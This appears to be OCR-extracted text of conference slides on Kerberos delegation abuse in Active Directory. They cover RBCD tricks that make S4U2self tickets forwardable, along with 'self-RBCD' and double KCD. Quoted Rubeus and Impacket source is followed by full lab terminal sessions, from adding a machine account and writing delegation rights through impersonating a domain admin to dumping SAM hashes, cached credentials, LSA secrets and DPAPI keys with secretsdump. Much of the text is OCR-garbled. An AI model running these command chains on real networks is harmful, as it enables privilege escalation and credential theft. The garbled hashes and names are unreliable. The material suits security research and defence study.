ed3bc45d36fe7d9bfa87f1d94982ad1b0c953a621097da3de@b49c54bace3e8d709639bcd9fescc6f6b90314cd7c966bba697976c4ccfb25685d3e29d20759bb2294ab5¢c5d8c044c099
a8804697d130266cd12890988b3eaf22eas1d16034bf61c011e569c3bsbc559b7c2fd4a33d1dc1239f5649121cdc4da93fbs3e53e4267661982de610126e17f625b3467b7804c175e48
0d006e00cdd0217bfe5caf18ae440be046e64f1a275950148a7c9102b410633d02bcsb2c42f34497e28ffee7e027f868a9418927fe9a578daf8a73ebcd0c212c42dceld961a5b2e523€
876d2d8467b02078c4d9ce28fc4373fd4s6e7234d78dccOfccabecb0f94a2d4f78597566f4dfec00ac80c4654ebde8a680112ba0542ce017538bf355d26988a280817320f2e55acaf48a
67c7bcicc2c3d13e39fbceebef65bdedff78dbe88d2eflcchb18a3ab94a7c998df7057b236c5che6791cd92a18061eede251556¢c65c7f35f3c1c345a2506b6a56b35b45039a28fdf9486€
d7191cbaee49d1d7edc1f4177712af8cde47206c9bb72d323d358b59988b0f958dab4f4036bfef9ce32c4e67f

[*] Decoding unencrypted data in credential[0]['ticket']:

[*] Service Name : host/rbcd
[*] Service Realm : DOMAIN.LOCAL
[*] Encryption type : rc4_hmac (etype 23)

[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied



> forwarded anyway
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3.2.5.2.1 Using
ServicesAllowedToSendForwardedTicketsTo

Article - 04/07/2021 = 2 minutes to read <& (5

If the KDC is for the realm of both Service 1 and Service 2, then the KDC checks if the security principal name (SPN) for
Service 2, identified in the sname and srealm fields of the KRB_TGS_REQ message, is in the Service 1 account's
ServicesAllowedToSendForwardedTicketsTo parameter. If it is, then the delegation policy is satisfied. If not, and the PA-PAC-
OPTIONS [167] ([MS-KILE] section 2.2.10) padata type does not have the resource-based constrained delegation bit, then
the KDC MUST return KRB-ERR-BADOPTION. If Service 1's ServicesAllowedToSendForwardedTicketsTo parameter was
empty, this is returned with STATUS_NOT_SUPPORTED, else STATUS_NO_MATCH.

If the service ticket in the additional-tickets field is not set to forwardable<19> and the PA-PAC-OPTIONS [167] ([MS-
KILE] section 2.2.10) padata type does not have the resource-based constrained delegation bit set, then the KDC MUST
return KRB-ERR-BADOPTION with STATUS_NO_MATCH.



> forwarded anyway
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.1

private static void S4U2Proxy(...)
{

Mlosol

using System;

using System.Collections.Generic;
using System.Ling;

using System.Text;

using Asnl;

namespace Rubeus

1

PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes);

s4u2proxyReq.padata.Add(padata);

PA_DATA pac_options = new PA_DATA(false, false, false, true);
s4u2proxyReq.padata.Add(pac_options);

byte[] s4ubytes = s4u2proxyReq.Encode().Encode();

[...]

namespace Rubeus {
public class PA_DATA
{

public class PA_PAC_OPTIONS

{

public static readonly 0id DiffieHellman = new 0id("1.2.840.10046.2.1");

[...]

public PA_DATA(bool claims, bool branch, bool fullDC, bool rbcd)
A

type = Interop.PADATA TYPE.PA PAC_OPTIONS;
value = new PA_PAC_OPTIONS(claims, branch, fullDC, rbcd);

public byte[] kerberosFlags { get; set; }
public PA_PAC_OPTIONS(bool claims, bool branch, bool fullDC, bool rbcd)
{

kerberosFlags = new byte[4] { 0, 0, 0, 0 };

if (claims) kerberosFlags[0] = (byte)(kerberosFlags[0] | 8);
if (branch) kerberosFlags[0] = (byte)(kerberosFlags[0] | 4);
if (fullDC) kerberosFlags[0] = (byte)(kerberosFlags[0] | 2);
if (rbcd) kerberosFlags[0] = (byte)(kerberosFlags[0] | 1);
kerberosFlags[0] = (byte)(kerberosFlags[0] * 0x10);



The RBCD bit

> Impacket

Vs

# Impacket/examples/getST.py

def doS4U(...):

[ 00]]
tgsReq = TGS_REQ( )

tgsReq['pvno'] = 5

tgsReq[ 'msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)

tgsReq[ 'padata’] = noValue

tgsReq[ 'padata'][0] = noValue

tgsReq[ 'padata’1[0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq[ 'padata'][0]['padata-value'] = encodedApReq

# Add resource-based constrained delegation support

paPacOptions = PA_PAC_OPTIONS()

paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) =
tgsReq[ 'padata’'][1] = noValue

tgsReq[ 'padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value

tgsReq[ 'padata'1[1]['padata-value'] = encoder.encode(paPacOptions)

reqBody = seq_set(tgsReq, 'req-body')

[

_—

# Impacket/impacket/krb5/constants.py
[ 6ol

class PAPacOptions(Enum):
# [MS-KILE] 2.2.10
claims
branch_aware
forward_to_full_dc
# [MS-SFU] 2.2.5
resource_based_constrained_delegation

[oool
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> “The RBCD trick"
> “The self-RBCD trick”
> Double KCD

C M ‘
SINI:E SAU2PROXY PRODUCES A FORWARDABLE
TICKET, WHY NOT USE SAU2PROKY TO OBTAIN A

TICKET THAT HE_Ejs THE IIEIIII.I_BE“HEII'I'S OF SAU2PROXY?




> “The RBCD trick"

S4U2self
D p— uség t?ﬁﬁ& N
. . . All good, here's a ST
Requester is configured for KCD without PT (USER=> ) >
. . S4U2proxy request
> S4U2self ticket is not -« S
> S4U2proxy requirement is not met Al good, here's a ST

. (USER -> ) —
> S4U2proxy fails

Access request

here's a ST —3p

(USER > )
Use RBCD to imitate S4U2self and obtain a ticket e StUzprowy roquest
> S4U2self ticket is (USER -> )
) All good, here's a ST
> S4U2proxy produces a ticket (USER -> APP0Z) — >

> S4U2proxy succeeds with previous ST as evidence

Access request

here'sa ST —)p
(USER -> )




> not forwardable, not forwarded

Exegol ~ # getST.py -self -impersonate 'domainadmin' -dc-ip '192.168.56.101' 'domain.local'/'constrained$':'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] cCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Saving ticket in domainadmin@constrained$@DOMAIN.LOCAL.ccache

Exegol ~ # describeTicket 'domainadmin@constrained$aDOMAIN.LOCAL.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
* T inadmin
% : : 1
ervice Name : constraineds not forwardable
[*] Service Realm G DOMAIN LOCAL

[*] start Time : 26/04/2022 17:54:52 PM

[*] End Time 1 27/04/2022 03 52 AM

[*] RenewTill : 27/04/2022 17:54:54 PM

[*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[*] Base64(key) : XGoL+YtwqiHeZtAENQuwTw==

[*] Kerberoast hash : $krb5tgs$23$*xUSERSDOMAIN. LOCAL$constrained$*$7bd0355537be98c993087caa2930a51a$5f926088cb9dacbaf144h362a9599360a77aad0d8001d0852f7a8dc749726a248d3b858bee8462c40cc46b738d68
4a2164679328ff2e573e5bdab3c7003ch7e5d4fa0cfe8acc43c258e19eeffb81bb195bc490ef473bas5chd873a8a673ccfc17a19d706342eeb0553ccea b 223cd52bc1bic: 21d981ef4dfe78eebldc37bc95ae4ces097e69e7alec31c51518
f892ba52faa0d78ff95219c70ca483cc0daa7d884b5f fbcObf04441214d7f2d6dc6e2521b63dd7798c5433b260d3ef10e85db82279e95f2cd3309ef16429ab645812ad78515d4ef720808d39ed90b4de37401fd883845ecab240e16f7e9c79f185d8a21aa4b76e
7¢8623dfcf9d2900088642039c469444fcfes500610b2b64920eae3947. 71199a3a557b735b0ac2070b0b4f9efa3a5097f32c392de241748bb772e0c foeS4def8d14282fd4b541a3d0ecOeldf d3f351d27 f da503b17af2772c
06ab10430ed4709b56d123e58656aa5cc71703ecf2f4d029e7465415d74a63c21f239c5e51fae5db91331e0fc844623c38cchd1dfese37c359527ac7 854c63ffbboa 74374aa3f2b22d2d5a66383bbd313ba1bb9dc68a86023617596ef3
4b891f8a513cc6d36eeb5351f05ade3c8e9ff68c3373f238c8d7341373dd68cedd238a30ccalfel3ee7620d6f7bf5ac43d78e2a8aa3c7f78c514bb4c8f309f985e8603ffe78f7755552ddecf9151b1d8f9cc0b6aledfIb9739a2d4fd1f8145e35d3a296f406954
7de981ffc6dbb6457c93cd6ddacc65222534b2587e9fbb944akte9d5308144e96e41f363935dbb5abble2dcel485. 31416a765b27c490b9. 8129c776: e5b270cca8blad58cd92199fe307a0a9d78643bf06e004323ccf4d1e3510455

59ed2a77c9c687b85ac2b275668c6e264761a89ec261606d18e4aabb3a7cc300a557380b802a788c7e98bf88181990d7 fho4188bf746811e795783dcha032d2559b517dfb50db@30e84c85eac0fb4df82d3af5ef3ae8e0c630994a2fd8e5379ef2a1535004861
39d6762f8fbc1be031ff49c279a1f02b6d1993e74035f3d48dfbc24a8f6b389107ec03dac0a2dfbb21ee980299d19844e7dc26cc5ee433bd92b1205d48a5781d3f401faa9e5a0fachb7e2b67d725675712276c2872271eff6b9bbef047fb6e998737e57eb846C
63b73da5f4e3285bad060ce@e6fe3271c9752a15579439c749¢ee387ddeed97 130f56edabds4fdas558f aed3ad50239db7371def795854fcfaffb8ecf081442033c7cf9I0babe 1345ce27a7 33f34cbcf98cha3od! 37f1
ab717¢12157df2e268a7ee1b80b351bc2c86c2b6fdcecc339al0ee

[*] Decoding unencrypted data in credential[0]['ticket']:

Service N : constrained$
[*] Service Realm : DOMAIN.LOCAL

[*] Encryption type : rc4_hmac (etype 23)

[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supphed

Exegol ~ # getST.py -additional-ticket 'domainadmin@constrained$@DOMAIN.LOCAL.ccache' -impersonate 'domainadmin’' -spn 'cifs/sv01' -dc-ip '192.168.56.101' 'domain.local'/’constrained$':'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] cCache file is not found. Skipping...
[*] Getting TGT for user

[*] Impersonating domainadmin not forwarded
[*] Using additional ticket domainadmin@constrained$@DOMAIN.LOCAL.ccache instead of S4U2Self
[*] Requesting S4U2Proxy

[-]1 Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user constrained$ or initial TGT not forwardable



> RBCD#1 setup + S4U2self

Exegol ~ # addcomputer.py -computer-name 'croissant$' -computer-pass 'baguette' -dc-host 'DCO1' -domain-netbios 'domain' -dc-ip '192.168.56.101' -method 'LDAPS' 'domain.local'/'constrained$’:'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Successfully added machine account croissant$ with password baguette.
Exegol ~ # rbcd.py -delegate-from 'croissant$' -delegate-to 'croissant$' -dc-ip '192.168.56.101' -action 'write' 'domain.local'/'croissant$':'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty

[*] Delegation rights modified successfully!

[*] croissant$ can now impersonate users on croissant$ via S4U2Proxy

[*] Accounts allowed to act on behalf of other identity:

[*] croissant$  (S-1-5-21-1170647656-860703057-891382899-1148)

Exegol ~ # getST.py -self -impersonate 'domainadmin' -dc-ip '192.168.56.101' 'domain.local'/'croissant$':'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] CCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Saving ticket in domainadmin@croissant$aDOMAIN.LOCAL.ccache

Exegol ~ # describeTicket 'domainadmin@croissant$aDOMAIN.LOCAL.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[Q]:

User r
Na ) ac

[*] Service Realm : DOMAIN.LOCAL not forwardable
[*] Start Time : 26/04/2022 17:57:50 PM

[*] End Time : 27/04/2022 03:57:50 AM

[*] RenewTill 1 27/04/2022 17:57:50 PM

[*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[*] Base64(key) : Quu+L5PjV5/1eNQY7x/y6A==



> not forwardable, forwarded anyway (RBCD#2 + S4U2proxy #1)

Exegol ~ # rbcd.py -delegate-from 'croissant$' -delegate-to 'constrained$' -dc-ip '192.168.56.101' -action 'write' 'domain.local'/'constrained$’:'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty

[*] Delegation rights modified successfully!

[*] croissant$ can now impersonate users on constrained$ via S4U2Proxy

[*] Accounts allowed to act on behalf of other identity:

[*] croissant$  (S-1-5-21-1170647656-860703057-891382899-1148)

Exegol ~ # describeTicket 'domainadmin@croissant$@DOMAIN.LOCAL.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credentiall[0]:
not forwardable

[*] Service Real : DOMAIN.LOCAL

[*] Start Time 1 26/04/2022 17:57:50 PM

[*] End Time 1 27/04/2022 03 0 AM

[*] RenewTill 1 27/04/2022 17:57:50 PM

[*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[*] Base64(key) : Quu+L5PjV5/1eNQY7x/y6A==

[*] Kerberoast hash : $krb5tgs$23$*USER$DOMAIN. LOCAL$croissant$*$28f39963eadad6caastfb66b8c7d8af7b$cccc3dd18e87c2723d8a71d173adc710178af085fc697c2b186035f563ffddab524122f5b612c742c3fd2492df6d9f
18cffidfdbe28ee891958b55d12953e98b247c11f1b81e7340fee84eat56b39d893f5640c12c492f46c51542a750da2646b70b5a06eff391a6527e63d54e2dc020901048af8d6611das2aa8f23cbe273d333700f6c3cd62980b35988b42797a500168b86d436a
ad4e10f 29b57f 3b17dc42b1b2097a80c360a6aeael3f7703a21466bef480ff110e8555fe8efd899bb5cf5459a8216dcf8bf6774631fdc9f6d5598112e66b9203cad84e6809a6085b1e025d24f3b3d8267a5816d859d6dabec4sa740a6611c8abl
750ddbocf70f348f126eba3f39a2d0a2f9f506: d68d61683 C bb18f46eflbc4b5edl 7b875261b28cde2c2f086014e6b91e5bed10d4fc@16ee5426d2415a34cadc90ccbdc7bd906d826d12el1e3cab7c921aa02c5d98089ebf11
63f4407fe085c5ef7538a40a295e8ac0377fcd5ffc975896553f7d0359c fe@a80laede7e59f1a004d478e7099d3d913dc20bbd4949032a636016fb35a3e40ff3573e47fde2ecc21e8fb690aba3af51951c46eb9733aacb95bd17c861206d0af5494b0305012c45
b6db2ce50d98174957031fb29dc7e4f6e4bbf8e86f4a95aalcbe586cb926271712702ech12294ae2e34afd68056f9758fdb8d43ad9e6e351b05092491791613a91bc1d8fc8e5c18ea8c073c9e3d88287303fd03! 1d1682ef39c¢ 3al

le636ae78eeb5198d8cb724bfafc32c6ccO3e18c6fcceb6chb7edadcc078e8182dfb78659dfd2bb4e882c000e3616b6151984cac2feaaac172c07364aac8a1bb910f2b42d9a5d5f165b2a42817955367345b7€954153769f5e78b754694€2113308d1cfbclac1f68
4b6e1bbac8879ec0ec203d6185e2e51606744cad08fe10803516b4d1001fb7fa2a317d2bdfe2fe90c538d8287a7470703dd9f4fab7clc4kae25a1e62ebecal5694539c8181dd2637595da3a577f8061262ef58326f8960183cdb85c016d0e770f620eb3893f308e
ff9231cdd6a40136ed1686da568fe8a3351d02499elec42bbf078cb5f92308cf00c6bF589d729bd672e847ddad0160e867ae8391beb7dceafb8c94d02a8d7a9c499a8052cd92c5ebsdf8334b0426448b56c9c522ae0fa2c919480c4dal12d9d519adfod4ad54719d
1711279¢7533ffa04701e5e0301301c6b246ac2c2e1583c0cff05d2bfb20b3366c73b5ab8c9d4330d37eedbced85b3b7029dba637 f4fc158de1f268a35c5222472892f1a8ca09134139ch3b4sa327782c595a4f61cdb58f673dc4asbbs2947€a12109675a8a3faf
bbbb557eae7363a37291af7554588fb424a718a28a47b1256d3b

[*] Decoding unencrypted data in credential[@]['ticket']:

[*] Service Realm : DOMAIN.LOCAL

[*] Encryption type : rc4_hmac (etype 23)

[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied

Exegol ~ # getST.py -additional-ticket 'domainadmin@croissant$aDOMAIN.LOCAL.ccache' -impersonate 'domainadmin' -spn 'host/constrained’' -dc-ip '192.168.56.101' 'domain.local'/'croissant$': 'baguette

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] cCache file is not found. Skipping...
[*] Getting TGT for user /
[*] Impersonating domainadmin fOrWarded anyWay.
[*] Using additional ticket domainadmingcroissant$aDOMAIN.LOCAL.ccache instead of Self
[x] Requesting S4U2Proxy

[*] Saving ticket in domainadmin@host_constrained@DOMAIN.LOCAL.ccache




> forwardable result

Exegol ~ # describeTicket 'domainadmin@cifs_constrained@DOMAIN.LOCAL.ccache'
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credentiall[0]:

L*] User
[*] User
Service Name : cifs/constrained

: domainadmin
: domain.local

[*] Service Realm : DOMAIN.LOCAL forwardable

[*] Start Time : 26/04/2022 18:02:24 PM

[*] End Time : 27/04/2022 04:02:24 AM

[*] RenewTill 1 27/04/2022 18:02:25 PM

[*] Flags : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[*] Base64(key) : WLO6N4YbMUNCCUWSVZOMIQ==

[*] Kerberoast hash : $krb5tgs$23$*USER$DOMAIN. LOCAL$cifs/constrained*«$9e81cfsa30e9ffb4ad26d4d4969833166$3ff104032ce3777165a82acfa7e2d399das8401f91d7862ceast94tak

2e98d8cebb0d427931a1b30ac4993a6e7c7ebb272da8c3cea983dd9efbf62376c1cae54608358108c4e9e9967250306a042a2c3da734ch4scc74f5a500d259dea554691ead9922956cdd3fc678d1df52f53fd9dcsdaet
5252b5d9f656a310fdeb4934c68c417e323beab7e6695606a8a12a2f242403847a3158cb2572d413e54edac912d2dc03801f3f56b71eac74968271102a8ac05afdaa781echb543590f131aa105c0f4144bes97480a179
3d07f91494bbd844392a33d2ed86866a186d1c0b1d34834c5485106d52a4ffd42f8211bf7528194f4e477b4sbsb6fe6fcddbescObbcfe074969f474d32a23776e0ddd3f7abceab1d2bldf007e9f34eb91echdal90464f
438chdd95e1a67deb6fa8884abceda103d02ad738b9f5edf73178030d3460c8c61dd60585807c05db6bad9dsa2efd705dd206fe2553a4c9eb389081189b9d098852dc0d5c86834254551e57c8al3c125cc25ff5bb96a
892471788e9ffb73a7154e4e276408352658eebcc810c20f3e8b797bfe71807f7a8a641c12b6f9a90f4ch78fede23f98d4cf82175a4741609855e8f0081a59bccdbc6349c5dbsc89b737300e985310a4f5f4a2109879
2de34ef4762d6955ff9a856426199e7c680589b28fb5986528dcc4e62bf520bfada308fe87fb7350a27b28f fch4508363ae83bas903802920aaf065a91b20f0df5f9208cc770f96d3e926f563eaddddc8fceeb6b96b7
c58a5ab7caaf68a5fbca9d3d1d53bf4a7e054374b6528431b4d4b6ed70d6616754ea12868113af5f1f3ed24be9298ed830ec19dd68e96ce6733af7b7ef46ab853ea8ead9d40370166eb74ba7bse33657c849de232a9fa
af660c2bbdf88ca82c61c9d403bd58cd16044f132128c0b0f9172aa0leb91dal17a937811dbsdfal15f0313bb796ef6a23b41b1f68b84207a5b30c3621f6644af755949e92200ee7f87366e46a26c47403999d8chac197
83b73863aa62b0d4ecb6dbsad8834cbes29f08669def9f9d50574a269030bd6f80ef011dcd2atealc06b734bc2f95baac3f44c5f5365df6d873f0c2216d09674e338aa0c9395801¢c3f795d6330d2e43b59f3a8bac201
eab0d6¢c36792e5c8457b6e8ab3b0ef04dc5a2d669bac6e57f46918424e04616df3ad203f8c5fcb98870e83db8dbsc16e8235d8f39aad8cfd2ae8af31edfb2ac7eed3292709994b9fd3cd534eel6ac7397b2eaebc5598
laca4ea79bebd71e8ec0a7444b180096093bed1dcd46d8c6685e38839d53adabfe5ebal493b16F8692001bdba20d951c6286968743213e7f704ebb5385778dfb581d358ad04633886c93a8edd680alblea5257e35887
[*] Decoding unencrypted data in credential[@]['ticket']:

[*] Service Name : cifs/constrained

[*] Service Realm : DOMAIN.LOCAL

[*]  Encryption type : rc4_hmac (etype 23)

[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied



> S4U2proxy (#2) now possible

Exegol ~ # getST.py -additional-ticket 'domainadminacifs_constrainedaDOMAIN.LOCAL.ccache' -impersonate 'domainadmin' -spn 'cifs/sv@1' -dc-ip '192.168.56.101' 'domain.local'/'constrained$':'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] cCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Using additional ticket domainadmin@cifs_constrained@DOMAIN.LOCAL.ccache instead of S4U2Self

[*] Requesting S4U2Proxy

[*] Saving ticket in domainadmin@cifs_svO1QDOMAIN.LOCAL.ccache

Exegol ~ # KRB5CCNAME="domainadmin@cifs_sv01aDOMAIN.LOCAL.ccache"” secretsdump -k -no-pass -target-ip '192.168.56.201' 'domain.local'/a@'sve1’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x289a31da89b4528e9dc75be5d26a480c

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3bs35b51404ee: 874da7d5bb3f7b600365ab102f1e07c8: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢0: : :
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0c089¢0: : :

[*] Dumping cached domain logon information (domain/username:hash)
DOMAIN.LOCAL/domainadmin:$DCC2$10240#domainadmin#a99afe2c722f9bbe9d21011d685cdd75
DOMAIN.LOCAL/john:$DCC2$10240#john#3eb0b7570c717926ecac86562a92c2fd

[*] Dumping LSA Secrets

[*] $MACHINE.ACC
DOMAIN\SVQ1$:plain_password_hex:3f5e3351953f287829fe517be1a39c860356f1922cc10e2fa725825dda24e7151697d557e5¢c018¢c7429¢792377f0575ae857c643d93e8d9adf490a3f3d717904eff18dd32e82032f705d405ccd2756a2d977f38da9f715
07f5e0a97eb45be265490b2c57a0d0ab47a41f77f4db0150a3e4b85d81796abe9eaf3140be066d5f3e07169ceaecad294d602ce6e62057d4b9bde067475b30c2be1383ddff0150631f2ed2cec39a22345bc81133ed63b93c7d1f7e73e99fc1ac029a4d036c772ec
d47661cd6459f618b964e2a90be83b52702e0e3055365531baa174831187f98d345cc1c08db63e2b8d0aad56a27877637bbd
DOMAIN\SV01$:aad3b435b51404eeaad3b435b51404ee: 1357 F104d4bobef4473efc7edb948a55: : ¢

[*] DPAPI_SYSTEM

dpapi_machinekey:0x1b960ead262430fc32211c5d520d60d4038ef2f2

dpapi_userkey:0x74ad3264621a6ca304edda916f2f52016a39b33b

[*] NL$KM

0000 5B 57 93 50 E1 94 Al 6F 3F ED 5A 76 C6 25 6B FC  [W.P...0?.Zv.%k.

0010 43 E@ C4 7D 15 96 2E DC 62 42 45 84 8C OA 5A 0A C..}....bBE...Z.

0020 A1 37 CB 5D 14 EB 13 89 87 1E 13 97 12 C4 OF A2 & S0

0030 48 4D FC C7 47 86 64 21 DB AB EO 5A 37 28 6D 01 HM. .G.d!...Z7(m.

NL$KM:5b579350e194a16f3fed5a76c6256bf c43edc47d15962edc624245848c0a5a0aal37cb5d14eb1389871e139712c40fa2484dfcc747866421dbabe05a37286d01
[*] Cleaning up...



“The self-RBCD trick”

Exegol ~ # rbcd.py -delegate-from 'constrained$' -delegate-to 'constrained$' -dc-ip '192.168.56.101' -action 'write' 'domain.local'/'constrained$':'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegauon rights modlfled successfully!
$ can now users on constrained$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[ constrained$  (S-1-5-21-1170647656-860703057-891382899-1145)
Exegol ~ # getST.py -impersonate 'domainadmin' -spn 'host/constrained’ -dc-ip '192.168.56.101' ‘'domain.local'/'constrained$': 'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation
[-] ccache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating domainadmin
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in domai i i IN.LOCAL.ccache
Exegol ~ # getST.py -additional-ticket 'domai i i IN.LOCAL.ccache' -impersonate 'domainadmin' -spn 'cifs/sv01' -dc-ip '192.168.56.101' ‘domain.local'/'constrained$':'baguette’

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Cupyrigﬁt 2021 SecureAuth Corporation

[-] cCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Using additional ticket domai i _constrai LOCAL.ccache instead of S4U2Self

[*] Requesting S4U2Proxy

[*] Saving ticket in domainadmin@dcifs_sv@1aDOMAIN.LOCAL.ccache

Exegol ~ # KRBSCCNAME="domainadmin@cifs_svO1@DOMAIN.LOCAL.ccache” secretsdump -k -no-pass -target-ip '192.168.56.201' 'domain.local'/a@'svel’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x289a31da89b4528e9dc75be5d26a480c
[*] Dumpmg local SAM hashes (uid:rid:lmhash:nthash)

Administrator: 35b51404ee : 874da7d5bb3f7b600365ab102f1e07c8: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0c089¢0: : :
DefaultAccount:503:aad3b435b5: 1404ee: 16ae931b7: E

[*] Dumping cached domain logon information (domain/username:hash)

DOMAIN. LOCAL/domainadmin: $DCC2$10240¢domainadmin#a99afe2c722f9bbe9d21011d685cdd75

DOMAIN. LOCAL/john: $DCC2$1024043 7570c7179 2c2fd

[*] Dumping LSA Secrets

[*] $MACHINE.ACC
DOMAIN\SV01$:plain_password_hex:3f5e3351953287829fe517be1a39c860356f1922cc10e2fa725825dda24e7151697d557e5¢018c7429c792377F0575ae857c643d93e8d9adf490a3F3d717904efF18dd32e82032705d405ccd2756a2d97738

7a0d0@ab47a41f77f4db0150a3e4b85d81 31 3e07169c 294d602ce6e6205 7475b30c2be1383ddf f0150631f2ed2cec39a22345bc81133ed63b93c7d1f7e73e99fc1ac029a4d036¢772ecd47661cd6459f618b9
a174831187f98d345cc1c08db63e2b8d0aad56a27877637bbd
$:aad3b435b5: 35b51404ee: 1357 3ef :

[*] DPAPI_SYSTEM
dpapi_machinekey:0x1b960ead262430fc32211c5d520d60d4038ef2f2
dpapi_userkey:0x74ad3264621a6ca304edda916f2f52016a39b33b
[*] NL$KM

0000 5B 57 93 50 E1 94 A1 6F 3F ED 5A 76 C6 25 6B FC
0010 43 EQ C4 7D 15 96 2E DC 62 42 45 84 8C OA S5A 0A
0020 A1 37 CB 5D 14 EB 13 89 87 1E 13 97 12 C4 OF A2
0030 48 4D FC C7 47 86 64 21 DB AB EQ 5A 37 28 6D 01 .z7(m.

NL$KM: 5b579350€19ka16f3fed5376c6256bfc43e0c47d15962edc62h2lo5BI»Gc035aoaal37cb5d1keb1389871e139712c40FBZASAdfcc7k7866k21dbabe05a37286d01
[*] Cleaning up.

S4U2self request
< for USER to APPO1

All good, here's a ST

(USER >

S4U2proxy request

All good, here's a ST

(USER ->

Access request

(USER >

S4U2proxy request

(USER ->

here's a ST —)

All good, here's a S

(USER > /

—— here'saST —)‘

J

)

1

—>

—>

—

Access request




> Double KCD

Exegol ~ # getST.py -self -impersonate 'domainadmin' -dc-ip '192.168.56.101' 'domain.local'/’ constrained-with-pt$
Inpacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

Ccache file is not found. Skipping...
Getting TGT for user
Inpersonating domainadmin
Requesting S4U2self
+] saving ticket in -with-pt: .LOCAL. ccache

RN

‘baguette’

Exegol ~ # getST.py ~ticket ' i i ined-with-| LOCAL.ccache' -i 5

-spn 'cifs, ined' -dc-ip '192.168.56.101' 'domain.local'/’constrained-with-pt$':'baguette’

Inpacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

CCache file is not found. Skipping...

Getting TGT for user

Inpersonating domainadmin
Using icket inadmi ined-with-pt$ADOMAIN. LOCAL . ccache instead of S4U2Self
Requesting S4U2Proxy

*] Saving ticket in

Exegol ~ # getST.py -additional-ticket ' IN.LOCAL. ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

F R

LOCAL . ccache

[-] CCache file is not found. Skipping...
*] Getting TGT for user
+] Inpersonating domainadmin

* Using additional ticket i LOCAL.ccache instead of S4U2Self
* Requesting S4U2Proxy

*] Saving ticket in x LOCAL. ccache

Exegol ~ # KRBSCCNAME= LOCAL. ccache" secretsdump -k -

Inpacket v0.9.25.dev1+20220425.154538.4d870a8 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x289a31da89b4528e9dc75be5d26a480c
